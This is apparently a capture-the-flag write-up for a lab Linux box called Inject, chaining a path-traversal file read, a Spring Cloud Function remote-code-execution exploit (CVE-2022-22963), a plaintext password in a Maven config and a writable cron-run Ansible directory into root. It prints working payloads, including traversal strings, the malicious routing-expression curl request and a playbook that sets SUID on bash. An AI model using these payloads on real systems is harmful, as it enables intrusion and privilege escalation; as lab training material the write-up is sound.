Inject

Overview

Inject is a beginner-friendly Linux box that chains a classic web vulnerability into a well-known CVE. The path in is a Local File Inclusion bug in an image-viewing feature, which is enough to leak the application's source code and fingerprint a vulnerable Spring Cloud dependency. From there it's RCE, a bit of credential hunting, and a cron-based Ansible misconfiguration that hands over root.

Recon

Standard full port sweep first, then a version scan on whatever comes back:

nmap -sCV -p- -T4 -v <IP> -oN nmap
Host is up (0.14s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ca:f1:0c:51:5a:59:62:77:f0:a8:0c:5c:7c:8d:da:f8 (RSA)
|   256 d5:1c:81:c9:7b:07:6b:1c:c1:b4:29:25:4b:52:21:9f (ECDSA)
|_  256 db:1d:8c:eb:94:72:b0:d3:ed:44:b9:6c:93:a7:f9:1d (ED25519)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-title: Home
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 16 16:15:58 2026 -- 1 IP address (1 host up) scanned in 991.29 seconds

Two ports of interest:

  • 22/tcp — SSH
  • 8080/tcp — HTTP (a Java web app, though Nmap doesn't nail the exact framework)

Web Enumeration

Hitting port 8080 in the browser lands on a small site with a nav bar pointing to a few sections:

  • /register — non-functional, "under construction"
  • /blogs — a static list of blog tiles, nothing dynamic jumps out
  • /upload — accepts file uploads, restricted to image files only

The upload feature is the interesting one. After uploading a valid image, the app returns a "view your image" link pointing to:

Image description

/show_image?img=<filename>

Image description

That img parameter taking a raw filename is a red flag if the backend isn't sanitizing it, we should be able to walk outside the intended upload directory.

Finding the LFI

Local File Inclusion happens when an app takes user-controlled input and uses it directly to decide which file to read or include, without checking that the input actually stays inside the folder it's supposed to. Feed it something like ../../etc/passwd and, if there's no filtering, the app will happily hand back a file it was never meant to expose.

Testing that theory against /show_image:
so i fire up burp and start playing with the intercepted request untill we catch the passwd file

http://<TARGET_IP>:8080/show_image?img=../../../../../../etc/passwd

Image description

This returns the contents of /etc/passwd, confirming the LFI. With arbitrary file read on a Java web app, the natural next move is to go after the application's own source to see what it's built with.

Leaking the Source — Finding the Vulnerable Dependency

web apps deployed the traditional way tend to sit under /var/www, so that's a reasonable first guess:

../../../../../../var/www

That resolves to a real directory listing, revealing the app root at /var/www/WebApp. Pulling the pom.xml from there via the same LFI:

../../../../../../var/www/WebApp/pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.6.5</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>WebApp</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>WebApp</name>
    <description>Demo project for Spring Boot</description>
    <properties>
        <java.version>11</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>com.sun.activation</groupId>
            <artifactId>javax.activation</artifactId>
            <version>1.2.0</version>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-devtools</artifactId>
            <scope>runtime</scope>
            <optional>true</optional>
        </dependency>

        <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-function-web</artifactId>
            <version>3.2.2</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.webjars</groupId>
            <artifactId>bootstrap</artifactId>
            <version>5.1.3</version>
        </dependency>
        <dependency>
            <groupId>org.webjars</groupId>
            <artifactId>webjars-locator-core</artifactId>
        </dependency>

    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
                <version>${parent.version}</version>
            </plugin>
        </plugins>
        <finalName>spring-webapp</finalName>
    </build>

</project>

The dependency list shows Spring-Cloud-Function-Web version 3.2.2. That version is publicly known to be vulnerable to CVE-2022-22963, a Spring Cloud Function issue where a specially crafted routing expression header gets evaluated as a SpEL (Spring Expression Language) expression server-side — resulting in remote code execution.

Foothold — Exploiting CVE-2022-22963

The exploit path is a POST request to the app's function-routing endpoint with a malicious spring.cloud.function.routing-expression header. The expression abuses Runtime.exec() to run an arbitrary shell command.

curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("whoami")' -d xxx http://<IP>:8080/functionRouter

seeing that the exploit is easy to reproduce i decided to create my own PoC that injects a reverse shell ,you can find the PoC on my github page https://github.com/r4y-br/CVE-2022-22963

Image description

and we got a shell as frank

Image description

i wanted a more stable shell so i generetad an ssh key and i uploaded it to franks .ssh directory in a file called authorized_keys which made me able to ssh to the machine as frank's user

Lateral Movement — frank → phil

Poking around frank's home directory, the Maven config file has a plaintext credential sitting in it:

cat /home/frank/.m2/settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>

That surfaces a password tied to the user phil. Switching users:

su phil

User flag grabbed at /home/phil/user.txt.

Image description

Privilege Escalation — phil → root

Time to watch what root is doing in the background. pspy is the tool for this — no special permissions needed to observe process activity:

python3 -m http.server 8000        # on attack box, from pspy's directory
wget <MY_IP>:8000/pspy64           # on target
chmod +x pspy64
./pspy64

Letting it run for a couple of minutes surfaces a recurring root-owned process: ansible-parallel, executing every .yml file inside /opt/automation/tasks. A second cronjob resets that directory's contents, copying /root/playbook_1.yml in fresh each cycle.

ca2026/08/21 20:40:01 CMD: UID=0     PID=3710   | /usr/bin/python3 /usr/local/bin/ansible-parallel /opt/automation/tasks/playbook_1.yml                                                   
2026/08/21 20:40:01 CMD: UID=0     PID=3709   | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml                                                                    
2026/08/21 20:40:01 CMD: UID=0     PID=3706   | sleep 10 
2026/08/21 20:40:01 CMD: UID=0     PID=3704   | /bin/sh -c sleep 10 && /usr/bin/rm -rf /opt/automation/tasks/* && /usr/bin/cp /root/playbook_1.yml /opt/automation/tasks/                 
2026/08/21 20:40:01 CMD: UID=0     PID=3702   | /usr/sbin/CRON -f 
2026/08/21 20:40:01 CMD: UID=0     PID=3701   | /usr/sbin/CRON -f 
2026/08/21 20:40:01 CMD: UID=0     PID=3711   | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml         

Checking permissions on the tasks directory:

ls -al /opt/automation/tasks/

The directory is writable by the staff group — and phil is a member of that group. Since anything dropped in there gets executed as root by the cron-driven ansible-parallel, this is a straightforward path to a root shell: write our own playbook.
so i created a malicious yml file called PWNED.yml

cat PWNED.yml 
- hosts: localhost
  tasks:
  - name: PWNED
    ansible.builtin.command: chmod u+s /bin/bash

Image description

Within two minutes the cronjob picks up the new playbook and executes it

phil@inject:/opt/automation/tasks$ ls -lah /bin/bash
-rwsr-xr-x 1 root root 1.2M Apr 18  2022 /bin/bash
phil@inject:/opt/automation/tasks$ /bin/bash -p
bash-5.0# cat /root/root.txt
b05a*********************a1f44
bash-5.0# 

Image description

Review

Inject is a solid Easy-rated box that does a good job chaining several realistic vulnerability classes into one coherent path
it s fair to say it s an easy machine
See you in another one !

Image description

← More Machines